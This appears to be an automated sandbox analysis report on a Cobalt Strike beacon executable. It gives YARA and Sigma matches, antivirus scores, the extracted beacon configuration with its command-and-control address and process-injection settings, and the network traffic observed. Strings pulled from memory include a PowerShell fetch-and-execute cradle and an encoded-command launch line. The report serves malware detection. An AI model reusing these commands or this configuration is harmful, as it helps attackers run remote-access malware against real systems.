0.2.beacon.exe.690000.1.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2bb45:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2b91e:$x2: %d is an x86 process (can't inject x64 content) 0x2bafb:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2bbdf:$x4: Failed to impersonate token from %d (%u) 0x2bc36:$x5: Failed to impersonate logged on user %d (%u) 0x2aff0:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.beacon.exe.690000.1.unpack	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
0.2.beacon.exe.690000.1.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.beacon.exe.690000.1.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2bfc8:$str1: %s (admin) 0x2d7c2:$str2: beacon.dll
Click to see the 39 entries

Sigma Overview

System Summary:

Sigma detected: CobaltStrike Named Pipe

Show sources

Source: Pipe created

Author: Florian Roth, Wojciech Lesicki: Data: PipeName: \MSSE-1606-server

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTPS"], "Port": 33287, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "C2Server": "185.156.73.37,/j.ad", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 426352781, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Multi AV Scanner detection for submitted file

Show sources

Source: beacon.exe	Virustotal: Detection: 83%	Perma Link
Source: beacon.exe	Metadefender: Detection: 71%	Perma Link
Source: beacon.exe	ReversingLabs: Detection: 92%

Antivirus / Scanner detection for submitted sample

Show sources

Source: beacon.exe

Avira: detected

Machine Learning detection for sample

Show sources

Source: beacon.exe

Joe Sandbox ML: detected

Source: 0.2.beacon.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen7
Source: 0.2.beacon.exe.860000.2.unpack	Avira: Label: TR/Spy.Gen
Source: 0.0.beacon.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen7
Source: 0.2.beacon.exe.690000.1.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_0086B113 CryptAcquireContextA,CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

0_2_0086B113

Source: beacon.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_00864023 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_00864023
Source: C:\Users\user\Desktop\beacon.exe	Code function: 0_2_008686E6 _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,		0_2_008686E6

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: 185.156.73.37

Source: global traffic

TCP traffic: 192.168.2.5:49699 -> 185.156.73.37:33287

Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.156.73.37

Source: beacon.exe, 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	String found in binary or memory: http://127.0.0.1:%u/
Source: beacon.exe, 00000000.00000003.245852516.0000000000A42000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: beacon.exe, 00000000.00000003.245852516.0000000000A42000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: beacon.exe, 00000000.00000003.245852516.0000000000A42000.00000004.00000001.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: beacon.exe, 00000000.00000003.244989568.0000000000AC9000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?9dc652520bf99
Source: beacon.exe, 00000000.00000003.245852516.0000000000A42000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabS
Source: beacon.exe, 00000000.00000003.462889833.0000000000A19000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37/
Source: beacon.exe, 00000000.00000003.384904140.0000000000A41000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/
Source: beacon.exe, 00000000.00000003.384904140.0000000000A41000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/.73.37:33287/
Source: beacon.exe, 00000000.00000002.508984947.0000000000A42000.00000004.00000020.sdmp, beacon.exe, 00000000.00000003.462827481.0000000000A42000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/.73.37:33287/hy
Source: beacon.exe, 00000000.00000003.384904140.0000000000A41000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/0
Source: beacon.exe, 00000000.00000003.384904140.0000000000A41000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/My
Source: beacon.exe, 00000000.00000003.462827481.0000000000A42000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/_
Source: beacon.exe, 00000000.00000002.508984947.0000000000A42000.00000004.00000020.sdmp	String found in binary or memory: https://185.156.73.37:33287/hy
Source: beacon.exe, 00000000.00000002.510019480.0000000003DEC000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/j.ad
Source: beacon.exe, 00000000.00000002.510019480.0000000003DEC000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/j.adB
Source: beacon.exe, 00000000.00000002.510019480.0000000003DEC000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/j.adM
Source: beacon.exe, 00000000.00000003.462889833.0000000000A19000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/j.adPN
Source: beacon.exe, 00000000.00000002.510019480.0000000003DEC000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/j.adb9a
Source: beacon.exe, 00000000.00000002.510019480.0000000003DEC000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/j.adb9a1
Source: beacon.exe, 00000000.00000002.508885411.00000000009DA000.00000004.00000020.sdmp	String found in binary or memory: https://185.156.73.37:33287/j.aded
Source: beacon.exe, 00000000.00000002.508885411.00000000009DA000.00000004.00000020.sdmp	String found in binary or memory: https://185.156.73.37:33287/j.adm
Source: beacon.exe, 00000000.00000002.508885411.00000000009DA000.00000004.00000020.sdmp	String found in binary or memory: https://185.156.73.37:33287/j.ads
Source: beacon.exe, 00000000.00000003.384904140.0000000000A41000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/la
Source: beacon.exe, 00000000.00000002.508984947.0000000000A42000.00000004.00000020.sdmp, beacon.exe, 00000000.00000003.462827481.0000000000A42000.00000004.00000001.sdmp	String found in binary or memory: https://185.156.73.37:33287/oft

Source: C:\Users\user\Desktop\beacon.exe

Code function: 0_2_008623B7 _memset,__snprintf,__snprintf,__snprintf,HttpOpenRequestA,HttpSendRequestA,InternetCloseHandle,InternetQueryDataAvailable,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_008623B7

Source: beacon.exe, 00000000.00000002.508885411.00000000009DA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects Meterpreter Beacon - file K5om.dll Author: Florian Roth
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike sample from Leviathan report Author: Florian Roth
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip Author: Florian Roth
Source: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects Cobalt Strike loader Author: @VK_Intel
Source: Process Memory Space: beacon.exe PID: 5204, type: MEMORYSTR	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net

Source: beacon.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, reference = Internal Research, score = 2017-07-17, modified = 2021-03-15, nodeepdive =
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Malware_QA_vqgk date = 2016-08-29, author = Florian Roth, description = VT Research QA uploaded malware - file vqgk.dll, reference = VT Research QA, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator date = 2021-07-08, author = yara@s3c.za.net, description = Detects CobaltStrike C2 encoded profile configuration
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.690000.1.raw.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, reference = Internal Research, score = 2017-07-17, modified = 2021-03-15, nodeepdive =
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: Malware_QA_vqgk date = 2016-08-29, author = Florian Roth, description = VT Research QA uploaded malware - file vqgk.dll, reference = VT Research QA, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.860000.2.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, reference = Internal Research, score = 2017-07-17, modified = 2021-03-15, nodeepdive =
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Malware_QA_vqgk date = 2016-08-29, author = Florian Roth, description = VT Research QA uploaded malware - file vqgk.dll, reference = VT Research QA, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.860000.2.raw.unpack, type: UNPACKEDPE	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, reference = Internal Research, score = 2017-07-17, modified = 2021-03-15, nodeepdive =
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: Beacon_K5om date = 2017-06-07, hash1 = e3494fd2cc7e9e02cff76841630892e4baed34a3e1ef2b9ae4e2608f9a4d7be9, author = Florian Roth, description = Detects Meterpreter Beacon - file K5om.dll, reference = https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: Leviathan_CobaltStrike_Sample_1 date = 2017-10-18, hash1 = 5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362, author = Florian Roth, description = Detects Cobalt Strike sample from Leviathan report, reference = https://goo.gl/MZ7dRg, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: Malware_QA_vqgk date = 2016-08-29, author = Florian Roth, description = VT Research QA uploaded malware - file vqgk.dll, reference = VT Research QA, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c
Source: 0.2.beacon.exe.690000.1.unpack, type: UNPACKEDPE	Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file
